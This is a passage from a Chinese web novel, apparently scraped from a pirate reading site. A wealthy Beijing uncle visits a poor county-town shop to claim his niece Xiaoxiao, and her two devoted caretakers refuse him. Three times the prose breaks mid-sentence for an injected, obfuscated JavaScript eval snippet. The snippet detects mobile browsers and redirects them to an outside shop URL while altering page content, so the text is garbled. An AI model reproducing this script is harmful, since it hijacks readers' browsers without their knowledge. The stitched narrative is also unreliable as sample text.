棉袄是王猛挑的款,布料摸着手感软,上周卖了8件,占了店里半周的童装流水,每次卖出去,王猛都要叮嘱顾客“洗的时候别用热水,怕缩水”。 苏瑾瑜递来的名片是铜版纸的,比林凡的拇指还厚,烫金的“燕京苏氏实业总公司”七个字压着细纹,指尖摸上去能感觉到凸起的纹路。 林凡的指尖不自觉地颤了颤,赶紧往口袋里摸自己的名片——县城打印店印的,3块钱100张,正面“笑笑宝贝屋(林凡、王猛)”的字有点洇墨,指尖蹭过“凡”字的墨团, 凉得像浸了水,背面“主营:童装(0-6岁)、文具(中小学)”的小字被磨得发淡,还沾着早上和王猛去进货时蹭的面粉粒,他赶紧把名片往口袋深处塞,怕苏瑾瑜看见那点面粉。 王猛在童装区停了手,悄悄往这边挪了挪,脚步放得轻,灯芯绒背带裤在腿边蹭出“窸窣”声,他认得这种名片—— 上次县外贸店的经理来买文具,递的就是类似的,听说这种名片印100张要20块,够买40块橡皮。 “亲舅舅”三个字从苏瑾瑜口中出来时,林凡手里的苹果刀猛地顿住,刀刃在果肉上划出道深痕。 清甜的苹果汁顺着刀刃滴下来,落在他洗得发白的“李宁”运动裤上——裤脚短了两寸,他用同色线缝了截边,线是从笑笑旧裙子上拆的,颜色偏浅,缝得有点歪。 王猛赶紧走过来,把手里的软尺往口袋里塞,指尖攥着尺尾的金属坠子,指节泛白: “这位同志,你找凡子有事?” 苏瑾瑜没看他,目光还落在林凡身上: “我是苏晚晴的弟弟,来找笑笑。” 王猛愣了愣,手里的软尺差点掉在地上,他知道苏晚晴是笑笑的妈妈,却从没听过她有个北京的弟弟,心口突然发慌,像当年工厂宣布下岗时的感觉。 林凡盯着那滴果汁在灰色布料上晕开,晕出一小片深色的印子,突然想起苏晚晴当年总望着窗外发呆的样子: 她坐在店门口的小马扎上,手里攥着块蓝碎花手帕,指尖反复捻着帕角,眼神飘向县城外的麦田,风把她的头发吹到脸上,她都没察觉。 原来她望的不是麦田,是隔着千山万水的燕京大院。 王猛在旁边轻轻拽了拽林凡的胳膊,手指攥着他洗得发白的袖口,小声说: “凡子,别慌,有我呢。” 他知道林凡下岗后有多难,凡子还是他表哥出钱帮忙开这店时,(中奖的事林凡永远不会说出来),林凡兜里只剩320块, 还是林凡的表哥借给他1000块,才凑够了房租和第一批货,当时林凡攥着钱,指尖都在抖。 苏家的显赫从来不是“有钱”两个字能装下的。 老爷子老爷子最高领导阶层**之一退役78岁,当年亲自视察长春第一汽车制造厂设备调试时,亲手拧过第一辆解放牌卡车的螺丝。 去年《人民日报》登他的访谈,照片里他穿的蓝色中山装,林凡和王猛在县外贸店见过,要88块一件—— 够他们进4件最好的童装,当时王猛还开玩笑说“这辈子都穿不上这么贵的衣服”。 父亲苏振邦是现役上将,去年南海舰队演习时,《新闻联播》播过他的画面。 那天林凡和王猛关了“笑笑宝贝屋”的卷帘门,卷闸门“哗啦”响着落到底,两人揣着刚收的零钱,挤在隔壁馄饨店的矮凳上看。 馄饨汤的热气裹着虾皮鲜气扑在脸上,烫得人鼻尖发潮,黑白电视屏幕泛着细碎雪花,“滋滋”声混着锅里馄饨翻滚的“咕嘟”响。 王猛吸着热汤,筷子夹着的馄饨还冒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16667007|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 热气,含糊道:“这官可真大”,那时他俩谁也没料,屏幕里那个穿军装的人,是笑笑的外公。 二叔苏振国是山城****,上个月在重庆主持乡镇企业签约会,860万的金额登在《新华日报》上。报道说他讲话不用稿子,数据张口就来—— 这金额够在县城开20家“笑笑宝贝屋”。林凡和王猛蹲在店门口的台阶上算,报纸铺在膝头,被晚风掀得哗啦响。 王猛掰着手指头数:“一家店房租150,装修加进货得两千,20家就是……” 算到半夜才理清,指尖沾了墨印。笑笑那时正趴在收银台上玩积木,小肉手把方块堆得歪歪扭扭,听见“20家店”,眼睛亮起来,举着积木喊: “20块糖!爸爸,我要吃20块糖!” 积木“哗啦”掉了一地,林凡赶紧蹲下去捡,怕木刺扎到她的小手。 大姑苏振兰在外交部礼宾司,去年陪领导访法的照片登在《参考消息》上。她穿的藏蓝色西装套裙,苏晚晴当年也有一件,后来被林凡拆了缝线,改成了笑笑的布娃娃裙。 现在裙子还放在收银台旁的小摇篮里,篮边挂着个旧铃铛,风一吹就“叮铃”响。 裙子的纽扣掉了一颗,林凡找了根红绳,绕着扣眼系了个小结,手指捏着绳结转了转,总怕磨着笑笑的皮肤。 就连苏瑾瑜自己,主导的国营机械厂技术改造得了部里的奖,地方政府批了50亩地、300万贷款。 这些事在电视里只是一行新闻,可落在林凡和王猛眼里,就是苏瑾瑜手腕上的欧米茄手表——表盘在店里暖光下闪着亮,市场价能买五货架的童装。 他们店里最贵的棉袄才卖35块,上次有个大妈捏着棉袄领口嫌贵,王猛把布料凑到她跟前,指腹蹭着棉布纤维: “您摸摸,纯棉花的,贴身穿暖和,洗了也不板结。”大妈犹豫半天,还是放下了,棉袄上留下个浅浅的指印。 王猛悄悄凑到林凡耳边,声音压得低,鼻息里带着刚吃的苹果甜香: “凡子,这家人来头太大,咱们得小心点。” 他手揣在裤兜里,摸着里面皱巴巴的账本,上周算的9月净利润320块,够交两个月房租(每月150块),剩下的20块还得留着给笑笑买过冬的棉鞋。 现在苏家突然找来,他心里像揣了颗没煮熟的豆子,硌得慌,指尖无意识地抠着账本边缘。 林凡把削好的苹果切成小块,刀刃在印着“黑猫警长”的搪瓷碗沿磕了下,“当”的轻响。 碗边磕了个小缺口,是笑笑上次踮脚够糖罐时摔的,王猛用砂纸磨了半宿,现在摸起来滑溜溜的,不扎手。 他指尖发颤,差点没捏住碗沿,两块苹果滚到地上,油光的果肉沾了点灰尘。 笑笑赶紧迈着小短腿跑过来,小手一抓就塞进嘴里,腮帮子鼓得像含了颗小苹果,黏糊糊的果汁顺着嘴角往下淌。 她用手背蹭了蹭,结果把果汁蹭到脸颊上,像只偷喝了蜜的小猫,眼睛弯成月牙:“爸爸,叔叔好高呀,比幼儿园的张老师还高。” 她转头看见王猛,又挥着沾了果汁的小手,指尖蹭在旁边模特熊的耳朵上,留下道淡红的印子:“王叔叔,你看我吃苹果!” 王猛走过去,手掌轻轻摸了摸她的头,掌心蹭到她头发上的“郁美净”奶香味,甜丝丝的,像小时候外婆熬的米糊。 “笑笑乖,慢慢吃,别噎着,”他声音放得柔,“吃完叔叔给你拿橡皮玩,就是你上次说要的小白兔橡皮。” 林凡低头看女儿圆溜溜的眼睛,那里面映着头顶的灯泡,暖黄的光在瞳孔里晃,像两颗小月亮。 可他心里像揣了块冰,从心口凉到指尖——他和王猛守着这家小店,每月净利润刚够糊口。 上次笑笑说想要新积木,他在玩具摊前犹豫了一周,才咬牙买了个5块钱的塑料积木。 笑笑玩的时候,他总盯着,怕积木掉地上摔碎;而苏家给孩子准备的,说不定是上海产的“好孩子”纸尿裤,王猛上次在县百货大楼见过,指尖碰了碰,软得像云朵,一片就够买两斤苹果。 第73章 笑笑的未来 王猛在旁边看着,心里也不是滋味。 他知道林凡有多疼笑笑,去年笑笑发烧到39度,小脸烧得通红,林凡背着她跑三里地去县医院,汗水把后背的衬衫浸得透湿,贴在背上凉飕飕的。 还是王猛帮着看了一晚上店,第二天早上端了碗小米粥过去,粥里卧了个荷包蛋,蛋黄颤巍巍的,他特意多放了点糖,怕笑笑没胃口。 苏瑾瑜似乎看穿了他们的僵硬,伸手想摸笑笑的头,动作却慢了半拍。 他先蹭了蹭自己的袖口,羊绒袖口软乎乎的,怕手凉着孩子。 手指停在离笑笑头发两厘米的地方,他顿了顿,才轻轻落下去,避开笑笑后颈细软的胎发,指尖的温度比林凡的掌心凉,像刚碰过玻璃橱窗。 他身上飘着淡淡的茉莉香,是上海产的“蜂花”香水,县百货大楼卖12块一瓶——够买两盒蜡笔、三本图画本。 上次笑笑在文具店扒着玻璃看蜡笔,眼睛直勾勾的,林凡还说“等卖了两件棉袄就买”,结果到现在还没凑够数。 这茉莉香和店里的苹果甜香、棉布皂角味、橡皮淡淡橡胶味混在一起,有点突兀。 王猛皱了皱眉,悄悄往林凡身边挪了挪,裤脚蹭到货架下的纸箱,里面装着待熨的棉布童装,带着刚洗过的皂角味。 他胳膊肘狠狠撞了下林凡的胳膊,想给她点底气,掌心还沾着笑笑头发上的奶香味,暖融融的。 “林先生,别误会。” 苏瑾瑜轻轻把笑笑抱起来,手臂圈着她的小身子,动作有点生疏。调整姿势时,他特意把羊绒衫的下摆撩起来,垫在笑笑屁股下—— 怕羊毛扎着孩子娇嫩的皮肤。 羊绒的软蹭得笑笑咯咯笑,小肉手抓着苏瑾瑜袖口的珍珠纽扣,指甲抠着纽扣的缝隙,亮晶晶的眼睛盯着纽扣:“舅舅,纽扣亮,像星星。” 听到“舅舅”两个字,苏瑾瑜的手指顿了顿,原本撩着羊绒衫下摆的手慢了半拍,眼底突然亮了亮,像落了颗小星星。 他声音又放柔了三分,连尾音都带了点自己没察觉的轻颤: “我来没有恶意。” 指尖顺着笑笑的头发往下滑,偶尔碰到笑笑的耳朵,凉得笑笑缩了缩脖子,他赶紧收回手,怕吓着她: “家里直到三个月前,才找到姐姐当年留在老宅的旧挂号信。信封上写着这个县城的地址,纸都发黄了,边角卷得厉害,字还是姐姐的笔迹,一笔一划的。” 王猛在旁边听着,心里更惊了—— 他们上次找个进货的新渠道,跑了三个批发市场,腿都跑酸了,鞋底子磨得薄了一层,才问到联系方式;苏家找个人,竟然能翻遍二十多个城市的档案,像找件衣服似的,轻描淡写。 苏瑾瑜没说的是,查到地址后,他们派了三个人,翻遍了近十年的暂住证档案,纸页上的灰尘沾了满手; 最后还托当地教育局的人,查了全县8所幼儿园的纸质入园记录,一页页翻,指尖都磨出了薄茧。这些对苏家来说是小事,对他和林凡来说,却是想都不敢想的便利。 上次笑笑上幼儿园,他们跑了两趟居委会开证明,第一次忘带户口本,第二次证明上的章盖偏了,又跑了一趟,腿都快跑断了。 “比对了笑笑的疫苗本,才找到这儿。” 苏瑾瑜的指尖轻轻碰了碰笑笑的脸颊,指尖的凉意让笑笑缩了缩脖子,往他怀里钻了钻。他赶紧收回手,掌心搓了搓,想捂热点: “她的疫苗本上,联系人写的是你,每一页都有你的签名,字写得挺认真,笔画都没歪。” “所以,你们想怎么做?” 林凡伸手把笑笑抱回来,手臂收得紧,指节泛白,把笑笑的脸贴在自己的胸口,能感觉到女儿小小的心跳,“咚咚”的,像揣了只小鼓。 王猛赶紧接话,声音有点急,手不自觉地攥紧了衣角: “同志,笑笑是凡子的女儿,我们俩一起把她带大的。从她学会走路,摇摇晃晃的怕摔着,到第一次喊‘爸爸’‘叔叔’,口水顺着下巴流,都是我们陪着。 你们不能说带走就带走。”他想起这一年多,每天晚上关店后,卷帘门拉下来,店里只剩灯泡的暖光。 他和林凡陪着笑笑玩积木,林凡教她认数字,“1、2、3”,笑笑跟着念,发音软乎乎的;他教她搭小房子,笑笑总把屋顶搭歪,还咯咯笑。 周末带她去巷口的小公园,笑笑荡秋千时,他得在旁边扶着,怕绳子晃得太厉害,这些日子比在工厂时还踏实,心里像填了棉花,暖乎乎的。 笑笑察觉到爸爸和王叔叔的紧张,小脑袋靠在林凡肩膀上,小手攥着他的衣领,手指抠着衣领上的线头,细白的线在指尖绕了圈。 她抬头看林凡,声音软乎乎的:“爸爸,王叔叔,舅舅要走吗?舅舅还没陪我玩积木呢,我的积木能搭小房子,还有小窗户。” 苏瑾瑜的目光扫过店铺,先落在文具区:最上层的“北京牌”练习本,3毛钱一本,封面的**图案被蹭得褪色,有些本子的边角还卷着; 中间层的橡皮5分钱一块,有两块缺了角,是被顾客反复捏软了又放下的,橡皮屑还沾在货架上; 最下层的铅笔,笔杆上的漆掉了不少,林凡怕扎手,特意把笔尖都削得钝了点。 再看向童装区:衣架上的棉布小棉袄挂得整齐,每件都标着价,最便宜的15块,最贵的35块,王猛还在每件棉袄的口袋里塞了张小纸条,写着“建议手洗”;角落的纸箱里, 放着待补的童装,王猛刚才整理的灯芯绒背带裤就剩3条,裤腰上的按扣还闪着光。他的目光最后落在收银台旁的小摇篮里,里面放着个洗得发白的布娃娃—— 娃娃的裙子是用苏晚晴的旧连衣裙改的,蓝色碎花快看不出图案,娃娃的眼睛是林凡用黑纽扣缝的,掉了一颗,他又找了颗白色的补上,有点不对称,笑笑却宝贝得很。 “你们把孩子照顾得好。” 苏瑾瑜指尖蹭过笑笑搁在桌角的布娃娃, 绒毛软得蹭着指腹发痒,语气平和,目光却黏在那布娃娃磨得发毛的碎花裙边上,眼神软了几分: “但林先生,王先生, 你们甘心让笑笑永远在这个只有一家国营电影院、没有儿童活动中心的小县城长大吗?” 他说的是实话。 县城的电影院是1978年建的,木头座椅棱子被磨得发亮,坐久了能硌得胯骨生疼,椅背上还沾着点黏在指缝里扯不开的口香糖,甜腻味儿混着陈年的灰尘气。 一场电影票价1块2,林凡和王猛只带笑笑看过《妈妈再爱我一次》—— 那天散场时,后排椅子腿在水泥地上刮得刺啦响,笑笑趴在林凡怀里哭,眼泪把他洗得发白的蓝布袖口浸得透湿,连布纹里都渗着咸意。 王猛攥着皱巴巴的5分钱硬币跑出去,拎回支奶油冰棍,冷丝丝的奶香味飘过来时,笑笑的哭声才小了点。 冰碴子粘在她肉乎乎的手背上,凉得她直缩手指,冰棍化得快,糖水顺着指缝往下滴,王猛赶紧凑过去舔,舌尖沾到甜得发涩的糖水,还不忘把她手里的冰棍纸捏紧,免得碎渣掉在满是瓜子壳的地上。 至于儿童活动中心,整个地区只有地区市里有一家。 王猛上次开着小货车送货时路过,隔着锈迹斑斑的铁栅栏往里瞅,看见里面的滑梯—— 铁架子锈得发暗,一摸一手黄锈,蹭在裤子上洗不掉,孩子爬上去能蹭得掌心发涩。 底下连块保护垫都没有,是硬邦邦的水泥地, 风一吹还卷着沙粒,落在滑梯上沙沙响,他当时就想,这要是摔下来,得多疼啊。 苏瑾瑜从公文包里掏出个牛皮纸信封,纸边磨得指腹发疼,油墨味混着点樟脑丸的淡味飘过来。 他把信封在林凡面前摊开,里面的东西露得彻底—— 北京第二实验小学的介绍信,厚牛皮纸挺括,上面的红章印得鲜亮,边缘还透着点晕开的红墨; 还有一张北京少年宫体操班的报名单,粉白相间的体操服图案印得清楚,连领口的小花边都看得见,像极了笑笑上次在画报上指过的样式。 那所小学是全国有名的重点校,王猛听县教育局的老周说过,多少北京家长半夜就去校门口排队,挤破头都进不去,光赞助费就够在县城买套带院儿的房子。 少年宫的体操班更不用说,教练是省队退役的,光报名费就要50块—— 王猛手不自觉攥紧了裤缝,粗布磨着掌心的老茧,50块的数儿在脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16667008|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子里转得发沉。 上次凑钱给笑笑买退烧药, 还是他和林凡把抽屉里的钢镚儿都倒出来,一枚枚数着凑够的,连一分的都没落下。 “苏家能让笑笑六岁去北京学体操, 穿专业的练功服,软乎乎的,摸上去就像家里新弹的棉被里子,不会起球,也不会磨皮肤。” 苏瑾瑜指尖在 介绍信上敲了敲,力道不轻不重,每一下都像敲在两人心上, “教练一对一教,不会像县城这样,想找个教跳舞的老师都得托人打听。” “八岁带她去北京动物园看大熊猫, 去北海公园划小船,住前门的国营招待所。 房间里有暖气,冬天不用裹着厚棉袄缩手缩脚, 夜里睡觉脚都是暖的,不会像家里这样,得揣个热水袋才能睡着。” “十二岁进市重点中学,用最好的教辅资料, 字印得清楚,纸也厚实,不会像县城书店里的那样,边角都卷了**,还缺页。” 他顿了顿, 目光扫过林凡手边沾着面粉的围裙——刚给笑笑烤完饼干的痕迹还在, “还有老师上门补课,不用像县城的孩子,天不亮就自己骑二八大杠去书店,冬天风大,脸都能吹得通红,手冻得握不住车把。” 最后一句,他声音压得低了点,诱惑却更足: “这些,不是你们守着这家卖点心的小店能给的。” 话音落时,窗外传来巷口卖糖人的吆喝声, “甜糖人哎——”的调子飘进来,衬得店里柜角那点笑笑上次打翻的糖水印,更显单薄了。 “我能给她每天晚上讲睡前故事,讲《小熊温尼》讲到她呼吸变沉。 她的小手总攥着我的食指,指节捏得发白,掌心的汗浸得我指腹发潮—— 每次我想抽手给她盖被,她都会攥得更紧,眼睫毛在台灯下扫出小扇子似的影子,像怕我顺着月光走了似的。” 林凡把牛皮信封往回推,指节抵着信封边缘,把边角捏得发皱。 声音不高,却压过了窗外巷口的自行车铃声,每个字都像浸了水的钉子,砸在空气里闷响。他指尖泛着白,连虎口处的旧茧都绷得发紧。 王猛搓了搓手,指腹还留着白天修车链的机油味,开口时带着点急: “我能在她幼儿园放学时,骑着二八大杠去接她。车筐里总塞块橘子糖,糖纸蹭着铁网子响,晒了一下午的糖,剥开来能闻着甜丝丝的橘子香。 她接过去时,手心的汗会沾在糖上,含在嘴里能甜到放学的路尽头; 能在她想玩滑梯时,陪她去小公园。 滑梯杆上的灰蹭得手心发涩,我就掏出口袋里叠得方方正正的旧毛巾,把座位擦得亮堂堂的。 要是她脚滑摔下来,‘咚’的一声闷响,我能扑得比谁都快—— 膝盖磕在水泥地上也不觉得疼,先把她抱起来拍土,能摸到她后背衣服上的草屑,还有她哭时蹭在我袖口的眼泪。” 他说着就顿了顿,喉结滚了滚—— 上个月笑笑摔破膝盖,老师托人捎信来时,他和林凡正骑着车去进货。 车斗里的童装撒了一地,一件粉色小卫衣勾在铁条上,领口扯得变了形;铅笔滚得老远,有的笔帽掉了,笔芯断在路边的排水沟里。 两人没顾上捡,林凡蹬车的脚都快飞起来,车铃“叮铃铃”响得断断续续,混着两人的喘气声。 到了幼儿园,笑笑哭着扑进林凡怀里,小胳膊圈着他的脖子,眼泪鼻涕蹭在他洗得发白的衬衫上。 王猛转身就往小卖部跑,第一家碘伏刚卖完,老板喊着“隔壁巷口还有”,他跑过去时鞋底沾了泥,推门时风铃“叮铃”响。 拿到碘伏时,玻璃瓶凉得攥手,还顺带买了包草莓味的创可贴——他记着笑笑爱挑带图案的。 “上个月笑笑摔破膝盖,她哭着找的是我和王叔叔,不是什么体操教练。” 林凡的喉咙发紧,声音哑得像被砂纸磨过,他抬手揉了揉眼角,指腹沾了点潮气: “她要的不是北京的话剧,是关店后,我和王叔叔陪她在门口跳十分钟橡皮筋。 橡皮筋是红色的,拉起来带着劲,她跳坏了,我就蹲下来接,手指捏着断口处,能摸到上面的汗渍; 第74章 苏家的安排 是数着星星等月亮出来。晚上的风有点凉,王猛会把外套脱下来给她裹着,衣服上有白天进货的布料味。 她仰着头问月亮上有没有兔子,我就编故事——说兔子会啃月亮上的青草,还会把星星串成项链。她听得眼睛亮,会伸手去够天上的星星; 是每天早上,王叔叔给她买的油条。巷口张婶的油锅一炸,油香能飘半条街,刚出锅的油条脆得很,咬下去‘咔嚓’响。 她能吃完整根不洒渣,嘴角沾着金黄的油渣,王猛就用指腹给她擦掉。我给她煮的鸡蛋,蛋黄煮得不老,剥壳时蛋白滑溜溜的,咬开是半流心的,她从不会噎着。” 王猛跟着点头,声音也有点颤,手还在无意识地搓着: “对,笑笑就爱吃巷口张婶的油条。我每天早上都去排队,给她挑最粗的那根。她吃完会把油纸叠成小方块,抿着嘴把边角对齐,举起来给我看,说要留着画画。 我都收在我上衣口袋里,下次开店时拿出来,她就能用铅笔在上面画小兔子——画得歪歪扭扭的,却比什么都好看。” 苏瑾瑜的眉头微不可察地皱了下—— 他习惯了下属的顺从,很少有人敢这样直接反驳,指尖在公文包的边缘蹭了蹭。但他很快平复,从公文包里掏出张照片,递到林凡面前: “这是爷爷上个月拍的,他现在每天要吃三种降压药,药片吞下去得就着半杯温水才顺溜,去年心脏搭桥后只能坐轮椅—— 红木扶手磨得发亮,指腹碰上去能摸到经年的温滑,连下楼都要有人扶着腰,稍一使劲就喘。 照片还是在阳台拍的,背后能看见窗台的花盆,盆沿沾着点没擦净的泥土,连吊兰的叶子都垂了两片。” 照片里的老人穿件深灰色中山装,领口扣得严严实实,袖口磨出了浅白的边,坐得笔直,只是肩膀比电视里见的塌了些。 他坐在红木轮椅上,怀里抱着个布娃娃——粉色裙子洗得发灰,边角起了**球,线头子还露在娃娃的胳膊缝里,针脚歪歪扭扭的,比你给笑笑缝的还不齐整。 “这娃娃是姐姐十五岁生日缝的,当时手生,连纽扣眼睛都缝偏了一颗。 老爷子现在还放在枕头边,每天睡前都要摸两下,布料都被摸得软塌塌的,带着点他身上的薄荷药膏味。” “他说,只要能见到重外孙女,哪怕现在就把老干部活动中心的茶座让出来,都愿意。” 苏瑾瑜的声音更柔,眼尾有点红, 指尖碰了碰笑笑的脸颊——小孩皮肤嫩,碰上去软乎乎的,这次轻了点,像怕碰疼了似的: “你们忍心让一个82岁的老人,连重外孙女的面都见不到吗?” 林凡的心脏猛地一沉,像被冷硬的石头砸了下,那股沉劲儿顺着心口往下坠, 连呼吸都跟着发闷,手里攥着的照片边角瞬间被汗浸得发皱。 王猛也没了话,手指无意识抠着裤缝,脚尖在地上蹭来蹭去,鞋跟磨得水泥地沙沙响—— 电视里见过这位老人,跟领导们谈笑风生时声音洪亮, 手里端着搪瓷缸子都稳,那股底气是他们这样守着小店的小人物永远没有的。 县城里的老干部活动中心, 墙上的语录纸边有点卷,底下摆着几盆绿萝,叶子上沾了点灰,是常有人摸的样子。 老干部们提到他时,都带着敬畏说“苏老是干实事的”, 谁能想到,这样的大人物,会惦记着外孙女,连枕头边都放着几十年前的旧布娃娃。 “爸爸,爷爷是谁呀?” 笑笑小身子往前探,伸手去摸照片,小手指在老人脸上轻轻戳了戳—— 指甲缝里的蜡笔屑蹭在照片上,留下道淡红的印子,还有点粉末掉在林凡手背上,痒丝丝的。 “这个爷爷怀里的娃娃,跟我的一样呢! 我的娃娃有蓝裙子,昨天还沾了冰淇淋渍,我用湿巾擦了好久!” 林凡赶紧把照片拿开,手指攥着照片的力道没轻没重, 先拿袖口擦了两下,又怕擦花了相纸,赶紧换了指腹轻轻蹭那道印子,掌心全是汗。 他偷瞄了眼苏瑾瑜,连耳朵尖都绷得发紧。 王猛在旁边小声说,声音压得低, 喉咙里还带着点干哑,刚喝的茶水好像没润到嗓子:“凡子,要不……咱们再想想?” 他不是想让笑笑走, 只是怕苏家真的施压—— 到时候别说 这家卖零食玩具的小店, 就连租的房子能不能保住都难说。 他兜里还揣着营业执照副本,边角都被揉得发软,指尖碰着都硌得慌。 这店是他和林凡的心血,墙上的蜡笔画、货架上的文具、衣架上的童装,都浸着他们的汗,也是笑笑的家,笑笑还在店里学会了走路。 林凡深吸一口气,把脸埋在女儿的头发里—— 那股淡淡的奶香味,混着“郁美净”儿童霜的味道,像暖风吹进心里,让他突然清醒。 不管苏家多厉害,笑笑都是他的女儿,是他和王猛每天早上五点骑着二八大杠去批发市场进货、冻得手发红, 晚上十点关店后还得洗父女俩衣服的动力,衣服上的奶渍,他都要用肥皂搓半天。 王猛拍了拍他的肩膀,掌心的温度传过来: “凡子,不管你怎么选,我都跟你一起扛,天塌下来,咱们俩一起顶。” “笑笑还小,突然去陌生地方会怕。” 林凡最终开口,声音发虚,却把笑笑往怀里搂得更紧,像怕有人抢走: “她刚适应幼儿园的生活,认识了好朋友朵朵,换了环境肯定会哭,晚上还会找我和王叔叔。 这件事,等她再大一点,懂事了再说,让她自己选。” 苏瑾瑜看出他的抗拒,却没再坚持,从口袋里掏出张纸条,纸条是硬壳纸的,写着电话号码: “我在县招待所住三天,这是我家的电话,24小时有人接;大哥大我随身带,号码也写在上面,你随时能打通。” 他顿了顿,看向笑笑,眼神软了点:“你要是想通了,或者笑笑想要新积木、新衣服,都可以找我,舅舅给你买最好的。” 他转身离开时,特意放慢了脚步,皮鞋踩在水泥地上的声音轻了点,到门口还回头看了笑笑一眼。 笑笑挥着小手喊“舅舅再见,下次带新裙子来,要粉色的”,他嘴角牵起抹浅淡的笑,很快消失在门外,风把他的羊绒衫吹得动了动。 风铃再次响起,比刚才轻,店里的空气像被抽走了一部分,沉得让人喘不过气。 货架上的一支铅笔“啪嗒”一声掉在地上,是被风吹的,笔杆磕在水泥地上,漆又掉了点,王猛赶紧捡起来,用袖口擦了擦,放回文具区的货架上,还特意摆得整齐点。 “凡子,这下可怎么办?” 王猛的声音还有点发颤,他把苏瑾瑜留下的纸条叠好,塞进林凡的口袋,指尖碰了碰林凡的手,还是凉的: “苏家要是再来,咱们……” 林凡摇摇头,抱着笑笑站起来,腿有点麻,缓了缓才站稳: “没事,有我呢,还有你。这店是咱们的,笑笑也是咱们的,谁也带不走,咱们俩一起守着。” 王猛点点头,走到童装区,把刚才没整理完的背带裤又拎起来,指尖捏着裤腰,又开始找线头: “对,咱们明天还得进货呢,灯芯绒得补10件,还有棉布小棉袄,也得再拿5件,张婶说要带邻居来,别没货了。” 夕阳透过木门的缝隙照进来,金红色的光把父女俩和王猛的影子拉得很长,一直伸到货架最深处。 货架上的毛绒熊被染成了金色,笑笑的羊角辫也泛着暖光,连她衣服上的小草莓图案,都像是活了过来,草莓的红色更艳了。 林凡知道,从今天起,他的世界再也回不到从前了,但有王猛在,有这家店在,他就有勇气扛下去,就像当年下岗时,王猛陪着他一样。 “爸爸,太阳公公要睡觉啦,我们晚上吃什么呀?我想吃你做的番茄炒蛋,要多放鸡蛋。” 笑笑伸出小手,指着窗外的夕阳,指尖沾着的苹果汁在光里亮晶晶的,像小钻石。 “好,咱们晚上吃番茄炒蛋,让王叔叔也留下一起吃,让王叔叔尝尝爸爸的手艺,今天多放两个鸡蛋。” 林凡摸了摸女儿的头,指尖蹭到她的发旋,王猛笑着说: “行啊,我去巷口买瓶酱油,再带两根葱回来,张婶家的葱新鲜,刚才路过看见还绿着呢。” 林凡抱着女儿往店后小厨房走,脚步放得轻,怕吵醒女儿似的,王猛则拿起外套准备去买调料,外套的拉链坏了,他用根绳子系着。 小厨房只有三四平米,墙面上沾着经年的油烟印,黑一块黄一块,旧铁架上摆着油盐酱醋——酱油瓶是玻璃的,标签被泡得发皱,瓶底还剩点沉淀; 盐罐是搪瓷的,缺了块边,还是当年他和苏晚晴一起在供销社买的,罐口的盐粒结了点块,林凡每次用都要捏碎。 林凡把笑笑抱到小板凳上,让她刚好能看见灶台,转身从菜篮里拿出两个番茄——是早上王婶送的,还带着点土腥味,红得发亮,表皮有点软,正好适合炒。 “笑笑来帮爸爸洗番茄好不好?” 林凡把番茄递过去,水龙头拧开时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16671945|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哗啦啦”淌出温水,水有点凉,他还特意用手试了试,才让笑笑洗。 笑笑两只小手捧着番茄搓,指腹蹭着番茄的表皮,水珠顺着指缝往下滴,溅在她的小围裙上,围裙是碎花的,有点旧,是王猛的老母亲做的。 王猛买完调料回来时,正好看见这一幕,笑着说: “笑笑真能干,都会帮爸爸干活了,比王叔叔小时候还厉害,我小时候洗番茄还摔过呢。” 他把葱递给林凡,葱上还沾着点泥土,又蹲下来跟笑笑说: “等会儿炒鸡蛋,让你爸爸多放香油,你不是最爱吃香油味的鸡蛋吗?上次你还吃了两碗饭。” 林凡把铁锅架在煤气灶上,拧开火阀,蓝色火苗舔着锅底,发出“噗噗”的轻响。 他倒了勺菜籽油,油热时泛起细小的泡沫,还冒了点烟,王猛则在旁边帮着剥葱,手指捏着葱皮往下撕,切成小段放在盘子里,葱香飘了出来。 打鸡蛋时,蛋壳磕在碗边的“咔嗒”声清脆,蛋液滑进碗里,黄澄澄的裹着透明的蛋清,还沾了点碎蛋壳,林凡用筷子尖挑了出来。 林凡拿双竹筷搅蛋,“哗啦哗啦”的声音里,笑笑伸手想碰碗沿,被他轻轻按住: “烫,等爸爸炒好给你尝,先闻闻香不香?” 笑笑凑过去闻了闻,皱着小鼻子: “香!比幼儿园的菜还香。” 王猛靠在门框上看着,心里突然踏实了——不管苏家多有钱有势,都换不来这样的烟火气,换不来笑笑的笑声,换不来炒番茄的香味。 他想起在工厂时,每天下班和林凡一起去吃馄饨,馄饨摊的灯昏黄,两人捧着碗,边吃边聊,那时两人就说,以后要是能一起做点小生意,不用看厂长脸色,就好了。 